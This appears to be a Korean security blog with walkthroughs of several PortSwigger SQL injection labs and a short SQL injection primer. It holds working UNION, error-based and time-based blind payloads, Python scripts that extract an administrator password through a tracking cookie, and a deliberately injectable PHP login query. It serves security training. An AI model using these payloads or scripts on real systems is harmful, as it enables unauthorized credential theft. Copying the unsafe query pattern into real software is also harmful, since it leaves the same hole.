반응형

문제 링크

https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column

 

 

목표 & 사용 도구

목표: administrator 계정의 비밀번호를 알아내서 해당 계정으로 로그인을 하는 것입니다.

 

사용도구: Burp Suite

 

 

문제 풀이 - Lab: SQL injection UNION attack, retrieving multiple values in a single column

  • 문제 사이트에 접속하여 문제를 확인합니다. 해당 문제는 상품 카테고리 필터에 SQL Injection 취약점이 있다고 하며 UNION을 사용할 수 있다고 합니다. 또한 쿼리에 대한 응답이 화면에 반환이 되며 DB에는 user 테이블이 있고 해당 테이블에는 username과 password 컬럼이 있다고 합니다. ACCESS THE LAB을 클릭하여 랩에 접속합니다.

 

  • 랩에 접속하면 카테고리를 설정할 수 있는데 아무 카테고리를 클릭해 줍니다. (저는 Gifts로 선택했습니다.)

 

  • Burp Suite를 이용해서 카테고리를 선택했을 때의 요청을 Repeater 기능에 세팅합니다.

 

  • 페이로드를 입력해서 먼저 SQL Injection이 가능한지 확인합니다.

- sql query 문 조건식 참일 때

페이로드: Gifts'+and+'1'='1 

[설명]
페이로드에서 + 기호는 공백(스페이스)를 의미합니다.

 

- sql query 문 조건식 거짓일 때 

페이로드: Gifts'+and+'1'='2

[설명]
sql query 문 조건식이 참, 거짓일 때의 따라 화면에 반환되는 응답이 다르다는 것을 알 수 있고 이는 사용자의 입력 값이 sql query 문에 반영이 되고 있으며 조작할 수 있음을 의미합니다.

 

  • 문제에서 UNION 구문을 사용할 수 있다고 했으며 UNION 구문을 사용하기 위해서는 먼저 컬럼의 개수를 알아야 합니다. order by와  #  (주석 기호)를 이용해서 확인하려고 했지만 에러가 발생하는 것을 확인할 수 있습니다. 
[설명]
DB마다 주석 처리할 때 기호가 조금씩 다를 수 있습니다. # 기호의 경우 MySQL, MariaDB에서 사용되는 주석 처리 기호이며 해당 기호를 사용했을 때 에러가 발생했으므로 랩에서 사용하는 DB는 MySQL, MariaDB가 아니라는 것을 알 수 있습니다.


또한 주석을 사용하는 이유는 사용자의 입력 값으로 싱글 쿼터가 들어가면 실제로 완성되는 sql query 문에서 싱글 쿼터가 하나 남아 에러가 발생하기 때문에 해당 에러를 발생시키지 않도록 하려고 주석을 사용하는 것입니다.

 

  • 이번엔  -  기호를 이용해서 order by와 주석 처리를 시도하여 컬럼의 개수를 알아냅니다
페이로드: Gifts'+order+by+1--  (응답 정상 반환)
페이로드: Gifts'+order+by+2--  (응답 정상 반환)
페이로드: Gifts'+order+by+3--  (에러)

[설명]
 -  기호를 이용한 주석은 대부분의 관계형 DB에서 작동하며 order by 1, order by 2 에서 응답이 정상적으로 화면에 반환되고 있으므로 컬럼의 개수가 2개 이상이라는 것을 알 수 있습니다. 이어서 order by 3을 했을 때 응답에서 에러가 발생하게 되는데 세번 째 컬럼은 존재하지는 컬럼을 정렬하려고 했기 때문에 에러가 발생하는 것입니다. 따라서 컬럼은 2개 존재한다는 것을 알 수 있습니다.

- order by 1

 

- order by 2


- order by 3 

 

  • 컬럼의 개수가 2개인 것을 알아냈으므로 이제 UNION 구문을 사용할 수 있는지 확인합니다.
페이로드: '+union+select+null,null--

[설명]
union 구문을 사용할 때 대응되는 컬럼의 데이터 타입이 같은 타입이어야 하는 DB들이 있으며 Oracle, PostgreSQL 와 같은 DB들이 해당됩니다. 따라서 union 구문을 사용할 때 null을 사용합니다. null은 특정 타입이 정해진 값이 아니기 때문에 대부분 사용이 가능합니다. 
(MySQL, MariaDB의 경우 자동으로 데이터 타입이 캐스팅됩니다.)

또한 웹 애플리케이션이 어떤 DB를 사용하느냐에 따라 UNION 구문을 사용하여 공격을 시도할 때 문법이 조금씩 달라지게 됩니다. 예를 들면 Oracle DB의 경우 from 절이 있어야 하기 때문에 from dual을 사용해야 합니다. 이번 페이로드는 Oracle DB가 아니라고 생각하고 페이로드를 사용했습니다.

화면에 에러가 발생하지 않고 응답이 정상적으로 오고 있기 때문에 정상적으로 UNION 구문이 사용 가능하다는 것을 알 수 있습니다.

 

  • 데이터 타입을 알아내기 위해 첫 번째 컬럼 위치에 숫자를 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 정상적으로 응답이 반환되기 때문에 첫 번째 컬럼은 데이터 타입이 숫자형인 것을 알 수 있습니다.

 

  • 이어서 두 번째 컬럼에도 숫자를 넣고 응답을 확인합니다. 에러가 발생하는 것을 볼 수 있으며 두 번째 컬럼의 경우 데이터 타입이 숫자형이 아니라는 것을 알 수 있습니다.

 

  • 이번엔 두 번째 컬럼에 문자열을 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 응답이 정상적으로 반환되고 있기 때문에 두 번째 컬럼은 데이터 타입이 문자열에 해당한다는 것을 알 수 있습니다. 또한 두 번째 컬럼에 삽입했던 값이 화면에 출력되는 것도 확인할 수 있습니다.

 

  • 두 컬럼의 데이터 타입을 파악했고 어떤 DB를 사용 중인지 알아내기 위해서 DB version을 출력하는 함수를 사용합니다. 이때 DB 별 version을 출력해 주는 함수 또는 구문이 다를 수 있기 때문에 여러 가지를 시도해 봐야 합니다. 화면에 출력되는 컬럼인 두 번째 컬럼에 version() 함수를 입력해 봤을 때 결과를 보면 PostgreSQL을 사용하고 있다는 것을 알 수 있습니다.

 

  • 문제에서 설명했듯이 users 테이블에 username과 password 컬럼이 있기 때문에 다음 페이로드를 삽입하여 administrator 계정이 존재하는지 확인합니다.
페이로드: '+union+select+1,username+from+users--

[설명]
users 테이블로부터 username 컬럼의 데이터를 가져옵니다. 두 번째 컬럼에 값이 들어갔을 때 화면에 출력이 되기 때문에 두 번째 컬럼에 username 컬럼을 삽입해야 합니다.

 

  • administrator 계정이 존재하기 때문에 해당 계정의 비밀번호를 알아내는 페이로드를 작성하여 비밀번호를 알아냅니다.
페이로드: '+union+select+1,password+from+users+where+username='administrator'--

[설명]
users 테이블에서 username이 administrator인 계정의 비밀번호를 가져옵니다. 

 

추가) 다음과 같은 페이로드로 각 계정과 비밀번호를 한 번에 출력할 수도 있습니다.

페이로드: '+union+select+null,username||'-'||password+from+users--

[설명]
PostgreSQL에서  ||  연산자는 문자열을 연결할 때 사용하는 연산자입니다. 예를 들면 
입력: 'te' || ' ' || 'st'
결과: te st
이런 식입니다. 

현재 화면에 출력되는 컬럼은 두 번째 컬럼 하나뿐입니다. 따라서 사용자의 계정과 비밀번호를 한 번에 출력할 수 없는 상황이지만 문자열을 연결해 주는  ||  연산자를 사용한다면 한 번에 여러 개의 컬럼 데이터를 추출할 수 있게 됩니다. username||'-'||password 를 입력하면 (유저이름)-(비밀번호)가 화면에 출력되게 됩니다. 여기서  -  기호는 사용자의 이름과 비밀번호를 구분하기 위해서 사용한 기호입니다.

 

  • My account 버튼을 클릭해서 로그인 입력 창으로 이동한 뒤 알아낸 비밀번호를 가지고 로그인 administrator의 계정으로 로그인을 시도합니다.

 

  • UNION SQL Injection 공격을 통해 알아낸 administrator 비밀번호로 로그인이 되면서 해당 랩 문제를 클리어하게 됩니다.

 

반응형
반응형

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

 

 

목표 & 도구 

목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.

 

사용도구: Burp Suite, Visual Studio Code

 

 

문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

  • 문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문을 이용하여 time delay를 통해 정보를 유추할 수 있다고 얘기하는 것을 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

 

  • LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

 

  • 문제에서 TrackingId 쿠키 값이 sql query 문에 사용된다고 했기 때문에 sql query 문 조건이 참이 되도록 구성하여 요청을 보내고 응답을 확인합니다.

 

  • sql query 문 조건이 거짓이 되도록 구성하여 요청을 보내고 응답을 확인합니다. sql query 문 조건이 참, 거짓일 때 각각의 응답 결과를 비교해 보면 동일한 것을 볼 수 있고 sql query 문 참, 거짓 응답 결과가 다름을 이용한 SQL Injection 공격은 할 수 없음을 알 수 있습니다.

 

  • 참, 거짓 응답 결과가 다름을 이용하여 data를 추출할 수 없는 상황이라면 Time-based SQL Injection을 시도해 볼 수 있습니다. time delay가 되는지 페이로드를 삽입하여 요청을 보내면 time delay가 되고 있다는 것을 볼 수 있습니다

[페이로드(입력 값)]

페이로드: TrackingId=w10IqJ5f6KMt31wJ'|| pg_sleep(10) ||'

[설명]
단순히 sql query문 조건을 참, 거짓으로 요청을 각각 보냈을 때 응답 결과가 동일하기 때문에 data를 추출할 수 없는 상황입니다. 이런 경우에 Time-based SQL Injection을 이용하여 time delay가 발생하는지 안하는지 여부에 따라 data를 추출할 수 있습니다.

* 페이로드 분석
 ||  연산자는 PostgreSQL에서 문자열을 합쳐주는 연산자이며 pg_sleep() 함수는 PostgreSQL에서 사용 가능한 함수입니다. time delay를 유발하는 함수는 DB마다 다를 수 있기 때문에 각 DB의 time delay를 유발하는 함수를 삽입해 보면서 알아내야 합니다.
ex) select 'te' || 'st' -> test

w10IqJ5f6KMt31wJ'|| pg_sleep(10) ||' 에서 문자열을 합치기 전에 pg_sleep() 함수가 실행되는데 이때 값을 10으로 줬기 때문에 10초의 time delay가 발생하고 반환 값은 없는 상태입니다. 마지막에 있는 싱글 쿼터의 경우 sql query 문이 완성될 때 기존에 있던 싱글 쿼터와 합쳐지고 빈 문자열을 합치려고 하기 때문에 실제로 남는건 원래 TrackingId 인 'w10IqJ5f6KMt31wJ'으로 정상적인 값이 되어 sql query 문에서 에러가 발생하지 않게 됩니다. 

 

  •  time delay가 발생하는 것을 확인했기 때문에 time delay를 이용한 Time-based SQL Injection format을 만들어서 사용합니다. Visual Studio Code를 이용하여 Python 스크립트를 작성했습니다. time delay를 이용하는 것이므로 코드를 실행해도 상당히 오래 걸릴 수 있습니다.
import requests
import time

# url은 LAB에 접속했을 때 본인의 url 주소를 입력합니다.
# session, TrackingId는 각각 본인의 파라미터 값을 사용합니다.
# 입력 시 중괄호 제거 후 입력해야 합니다.
url = "{url}"
session = "{session}"
TrackingId = "{TrackingId}"

# pg_sleep(10)을 사용했으므로 time delay가
# 10초동안 발생했는지 비교하기 위해 threshold 값을 10으로 해줍니다.
threshold = 10

# time delay 발생 여부 확인 함수
def check_time_delay(query):
    cookies = {
        "session" : f"{session}",
        "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then pg_sleep(10) else pg_sleep(0) end) ||'"
    }

    start = time.time()
    requests.get(url, cookies=cookies)
    delay = time.time() - start

    return delay >= threshold

# admin 계정 비밀번호 길이 + 값 알아내는 함수
def find_admin_pw():
    low = 1
    high = 256
    pw = ''

    while low < high:
        mid = (low + high) // 2
        
        query = (
            f"(select length(password) from users where username='administrator') > {mid}"
        )
    
        if check_time_delay(query):
            low = mid + 1
        else:
            high = mid

    pw_len = low
    print(f"password 길이: {pw_len}")

	# 알아낸 password 길이만큼 반복문을 돌리면서
    # 비밀번호의 각 글자를 추출합니다.
    for i in range(1, pw_len+1):
        low = 32
        high = 127

        while low < high:
        
            mid = (low + high) // 2
            
            query = (
                f"ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}"
            )
        
            if check_time_delay(query):
                low = mid + 1
            else:
                high = mid

        pw += chr(low)

    return pw

print(f"administrator password: {find_admin_pw()}")

 

  • Python 스크립트를 실행하면 다음과 같이 administrator 계정의 비밀번호를 알아낼 수 있습니다.

 

  • My account 탭에 접속하여 알아낸 비밀번호를 입력한 뒤 Log in 버튼을 클릭합니다.

 

  • Log in 버튼을 클릭하면 administrator 계정으로 로그인이 되면서 해당 LAB 문제를 성공적으로 풀게 됩니다.

반응형
반응형

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

 

 

목표 & 도구

목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.

 

사용도구: Burp Suite

 

 

문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

  • 문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문으로 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다는 것도 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

 

  • LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

 

  • 문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있고 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다고 했기 때문에 TrackingId  쿠키에 싱글 쿼터를 삽입해 보면 에러 메시지를 반환하고 있는 것을 볼 수 있습니다.

 

  • 주석을 사용할 수 있는지 확인합니다. 실제 sql query 문 마지막에 남는 싱글 쿼터가 주석에 의해 처리되었기 때문에 웹 페이지가 정상적으로 보이고 있는 것을 알 수 있고 이를 통해 주석이 사용 가능하다는 것을 알 수 있습니다.

 

  •  sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보내고 응답을 확인해 보면 정상적으로 웹 페이지가 반환되고 있는 것을 확인합니다.

 

  • sql query 문 조건식이 거짓이 되도록 하는 sql query 문을 구성해서 요청을 보내봐도 응답 결과는 똑같다는 것을 알 수 있고 단순히 조건식이 참, 거짓에 의한 응답 결과의 차이를 보고 data 추출을 할 수 없다는 것을 알 수 있습니다.

 

  • 참, 거짓 응답 결과가 다름에 따른 data 추출은 할 수 없지만 해당 LAB 문제에서는 에러 발생 시 에러 메시지를 반환하기 때문에 에러를 유발하는 sql query 문을 구성하면 참, 거짓을 이용한 응답 결과가 다름에 따른 data 추출을 할 수 있게 됩니다.

[페이로드(입력 값)]

- case when 구문 조건 참일 때
페이로드:
TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=1) then to_number(1/0) else 1 end)--; 

- case when 구문 조건 거짓일 때
페이로드: TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=2) then to_number(1/0) else 1 end)-- ;

[설명]
해당 LAB 문제에서 sql query 문을 구성할 때 에러를 유발하도록 하면 응답을 받았을 때 에러 메시지가 반환되는 것을 알 수 있습니다. 따라서 case when 구문의 조건을 이용한 참, 거짓에 따른 응답 결과를 통해 data 추출을 할 수 있게 됩니다.

* 페이로드 분석
to_number() 함수는 Oracle DB에서 문자열을 숫자로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_number(1/0)으로 작성하면 에러가 발생하게 됩니다. 1 =  case when (조건) then to_number(1/0) else 1 end에서 조건이 참이면  to_number(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 1을 반환합니다. 1을 반환하면  1 = 1-- 이 되기 때문에 에러가 발생하지 않아 정상적인 웹 페이지를 반환하게 됩니다.

정리해 보면 case when 구문 조건이 참일 때(1=1) 응답 결과를 보면 에러 메시지를 반환하고 거짓일 때(1=2) 응답 결과를 보면 정상적인 웹 페이지를 반환하고 있는 것을 알 수 있었습니다. 조건이 참, 거짓이느냐에 따라 에러 발생 유무가 정해지며 그에 따른 결과가 다르기 때문에 다름을 이용하여 Blind SQL Injection처럼 data를 추출할 수 있게 됩니다.

 

[case when 구문 조건 참일 때]

 

[case when 구문 조건 거짓일 때]

 

  • 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. (직접 입력하는 것도 가능하지만 상당히 오래 걸리기 때문에 Python 코드를 제작하는 것이 좋습니다.)

[administrator passowrd 추출 - python script]

# 주석 사용 버전
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username='administrator') > {mid} "
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출
def find_admin_pw():

    admin_pw = ''
    # administrator password 길이를 저장
    admin_pw_len = find_admin_pw_len()

	# administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"(case when (ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}) then to_number(1/0) else 1 end)--"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

 

  • 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

 

  • 웹 페이지로 돌아가서 My account를 클릭합니다.

 

  • 알아낸 administrator의 ID, Password를 입력합니다.

 

  • administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

 

+) 주석을 사용하지 않고 data를 추출하는 페이로드입니다.

  • 주석을 사용하지 않고 case when 구문을 이용해서 에러를 유발하는 sql query 문 입니다.

[페이로드(입력 값)]

- case when 구문 조건 참일 때
페이로드:
TrackingId=uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||' ; 

- case when 구문 조건 거짓일 때
페이로드: TrackingId=uUveEoJDaHYuGguk'|| (select case when (1=2) then to_char(1/0) else '' end from dual) ||';

[설명]
주석을 사용한 페이로드와 동일하게 case when 구문의 조건을 이용한 참, 거짓에 따른 data 추출을 할 수 있게 됩니다.

* 페이로드 분석
to_char() 함수는 Oracle DB에서 숫자나, 날짜 등을 문자열로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_char(1/0)으로 작성하면 에러가 발생하게 됩니다. 주의할 점은 해당 페이로드를 이용할 때는 to_number() 함수가 아닌 to_char()  함수를 사용해야 합니다. 
이거 때문에 한참동안 해결을 못했었습니다.
 
 ||  연산자는 Oracle에서 문자열을 합쳐주는 연산자입니다. 

uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||'
 에서 조건이 참이면  to_char(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면  ''  (빈 문자열)을 반환합니다. 빈 문자열을 반환하면 uUveEoJDaHYuGguk '|| '' ||' 이기 때문에 원래 정상적인 쿠키 값이었던 uUveEoJDaHYuGguk만 남게 되어 정상적인 sql query 문이 됩니다. 따라서 에러 유무에 따라 응답 결과가 다르기 때문에 data를 추출할 수 있습니다.

 

[case when 구문 조건 참일 때 - 주석 X]

 

[case when 구문 조건 거짓일 때 - 주석 X]

 

  • 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. 

[administrator passowrd 추출 - python script]

# 주석 사용하지 않은 코드
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용	
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username ='administrator') > {mid}"
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출 함수
def find_admin_pw():
   
    admin_pw = ''
    # administrator password 길이를 저장
	admin_pw_len = find_admin_pw_len()

    # administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"ascii(substr((select password from users where username ='administrator'), {i}, 1)) > {mid}"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

 

  • 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

 

  • 웹 페이지로 돌아가서 My account를 클릭합니다.

 

  • 알아낸 administrator의 ID, Password를 입력합니다.

 

  • administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

반응형
반응형

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays

 

 

목표 & 사용 도구

목표: SQL Injection 취약점을 이용하여 10초 딜레이를 시키는 것입니다.

 

사용도구: Burp Suite

 

 

문제 풀이 - Lab: Blind SQL injection with time delays

  • 문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있고 SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없다고 합니다.  마지막 부분을 읽어보면  SQL injection 취약점을 이용해 10초 딜레이를 시켰을 때 해당 문제를 해결할 수 있다는 것을 알 수 있습니다. ACCESS THE LAB을 클릭합니다.

 

  • LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

 

  • 문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있기 때문에 해당 sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보냅니다. (Burp Suite의 Repeater 기능 사용)

 

  • sql query 문 조건식 결과가 거짓이 되는 sql query 문을 구성하여 요청을 보냅니다. 이때 참, 거짓에 대한 응답을 각각 살펴보면 다른 점이 없었고 응답 결과가 다름을 이용하여 DB data를 추출하는 작업을 할 수 없는 상황인 것을 알 수 있습니다.

 

  • 참, 거짓 응답 결과를 통해 data를 추출할 수 없기 때문에 Time-based SQL Injection을 시도해 볼 수 있습니다. Time delay가 발생하도록 sql query 문을 구성하여 요청을 보내보면 약 10초 정도 Time delay가 발생한 것을 볼 수 있습니다.

[페이로드(입력 값)]

페이로드: TrackingId=O0USgNjnXDZcKeUZ' || pg_sleep(10)--;

[설명]
Blind SQL Injection을 시도할 때 참, 거짓에 따른 응답 결과가 동일하거나 응답 결과를 통해 data를 추측할 수 없는 상황이면 Time-based SQL Injection을 시도해 볼 수 있습니다. 

각 DB마다 Time delay를 발생시키는 함수 및 문법이 다르기 때문에 문제를 풀 때 각 DB의 SQL query 문법에 맞춰서 Time-based SQL Injection을 시도해야합니다. 해당 LAB 문제의 경우 페이로드를 통해 PostgreSQL을 사용중 인것을 알 수 있었습니다.


* 페이로드 분석

PostgreSQL 에서  ||  은 문자열을 연결해 주는 연산자 입니다. ~~~' || pg_sleep(10)을 하게되면 문자열을 연결하기 전에 pg_sleep(10)을 보고 Time을 delay 시키게 됩니다.(10이므로 10초) 이때 pg_sleep(10)의 반환 값은 void이며 값이 없는 상태이지만 함수가 실행되기 때문에 Time delay가 발생하는 것입니다. 마지막 주석  --  은 문법을 파괴하지 않기 위해서 입력한 값입니다.


* Time delay 확인 하는 법

Burp Suite의 Repeater 기능을 이용하여 요청을 보내면 우측 하단에 시간이 나오며 이를 통해 Time delay가 발생했는지 알 수 있습니다.
Bure Suite 우측하단을 보면 10,350 millis로(약 10초) Time delay가 발생한 것을 알 수 있습니다.

 

  • 이후에 웹 페이지로 돌아가보면 문제 요구에 맞게 10초 Time delay를 발생시켰기 때문에 문제를 성공적으로 해결하게 됩니다.

 

+) 주석을 사용하지 않은 페이로드입니다.

 

[페이로드(입력 값)]

페이로드: TrackingId=O0USgNjnXDZcKeUZ' || pg_sleep(10) and '1'='1;

[설명]
O0USgNjnXDZcKeUZ' 에서 싱글 쿼터는 사용자가 입력한 값이며 사용자가 직접 문자열을 감싼 상태이므로 실제로는 O0USgNjnXDZcKeUZ'' 즉 기존에 있던 싱글 쿼터 하나가 남게 됩니다. 앞선 과정에서는 주석을 이용하여 마지막 싱글 쿼터를 인식하지 못하게 하여 문법 에러가 발생하지 않도록 했지만 만약 주석을 사용하지 못하는 상황이라면 and '1'='1 과같이 조건이 항상 참이 되도록 하여 주석 처리를 하지 않고도 마지막에 남은 싱글 쿼터를 처리할 수 있습니다.

ex)
select ___ from ___ where ___='O0USgNjnXDZcKeUZ' || pg_sleep(10) and '1'='1'

 

반응형
반응형

| SQL Injection

웹 애플리케이션의 취약점을 이용하여 악의적인 SQL 코드를 삽입하는 것. 이를 통해서 데이터 베이스에 비정상적인 접근을 하는 것.

 

| SQL Injection 종류

  • SQL Injection
  • Blind SQL Injection
  • Error based Injection
  • Time based Injection

| SQL Injection 알아보기 (실습)

login_func.php (sql 쿼리 부분) -  로그인 로직

$sql = "select * from member_table where id='$userid' and pw='$userpw'";
        $result = mysqli_query($db_conn, $sql);
        $row = mysqli_fetch_array($result);
        
        if($row){
            session_regenerate_id(true);
            $_SESSION['userid'] = $row['id'];
            return true;
        } else {
            echo "<script>alert('로그인 실패')</script>";
            return false;
        }

 

위 소스코드는 로그인 시 로그인을 처리하는 코드입니다. 해당 로그인 로직을 가진 웹 페이지에서 SQL Injection 이 어떻게 이뤄지는 간단하게 알아보겠습니다. 

 

▶️ 정상적인 로그인 과정

로그인-페이지
로그인 페이지

 

로그인 페이지에서 아이디와 비밀번호를 입력하면 쿼리문에 아이디 비밀번호에 입력 값들이 들어가게 됩니다. 즉, 다음과 같습니다.

"select * from member_table where id='아이디' and pw='비밀번호'"

 

 

만약 아이디가 mega이고, 비밀번호가 1234인 계정으로 로그인을 하면 다음과 같이 쿼리문이 이뤄집니다.

"select * from member_table where id='mega' and pw='1234'"

 

 

해당 계정으로 로그인을 하면 정상적으로 로그인이 되는 것을 볼  수 있습니다.

로그인 성공 시

 

 

이번엔 로그인을 시도할 때 비정상적인 로그인 방법으로 시도 해보겠습니다. 


▶️ 비정상적인 로그인 과정

❓만약 다음과 같이 아이디와 비밀번호를 입력했다면?

아이디 : mega’ or ‘1’=’1

비밀번호 : 1234

비정상적인 로그인 시도

 

이렇게 비정상적인 방법으로 로그인을 시도해보겠습니다.

비정상정인 아이디로 로그인 성공

 

분명 원래 아이디가 mega인데 mega' or '1'='1 을 입력했더니 로그인이 된 상황입니다. 

이런 식으로 임의의 쿼리를 삽입하여 DB에 비정상적인 접근을 하는 것을 SQL Injection 이라고 합니다.

 

이제 SQL Injection이 어떻게 가능한 건지에 대해서 알아보겠습니다.


❓SQL Injection이 어떻게 발생했는가?

로그인을 할 때, 사용자가 아이디와 비밀번호를 입력하면 그 정보를 가지고 DB 안에 있는 정보와 비교하여 일치하면 로그인, 불일치하면 로그인 실패로 이어지게 됩니다. 정상적인 로그인 시도와, 비정상적인 로그인 시도를 했을 때의 DB가 어떤 응답을 하고 있는지 살펴보면서 SQL Injection에 대해서 이해해 보겠습니다.

우선, DB에 있는 회원정보 테이블입니다.

회원 정보 테이블 - 계정 정보가 들어가 있습니다.

 

아까 정상적인 로그인  시도할 때 아이디: mega, 비밀번호: 1234로 입력하고 로그인을 했었습니다. 이 때의 sql 쿼리를 DB에게 전송한다면 다음과 같은 결과를 반환 합니다.

 

아이디와 비밀번호를 입력했을 때
결과

 

결과 사진을 보면 sql 쿼리에 의해 아이디가 mega, 비밀번호가 1234인 계정을 가져오고 있는 모습입니다. 이번엔 잘못된 입력으로 로그인했을 때 어떤 결과값을 반환하는지 확인해 보겠습니다.

잘못된 아이디, 비밀번호 입력했을 때
결과

 

잘못된 아이디를 통해 비정상적인 로그인을 할 때와 정상적인 아이디를 통해 로그인을 시도할 때 DB는 같은 결과를 반환하고 있기에 로그인이 가능했던 것입니다. or '1'='1을 추가했는데 왜 같은 결과가 나오지?라고 생각해 볼 수 있는데 이는 비교 연산자의 우선순위 때문에 발생하게 됩니다.

 

id='mega' or '1'='1' and pw='1234' 즉, 빨간색으로 밑줄 되어있는 부분에서 연산이 먼저 일어나기 때문입니다. 

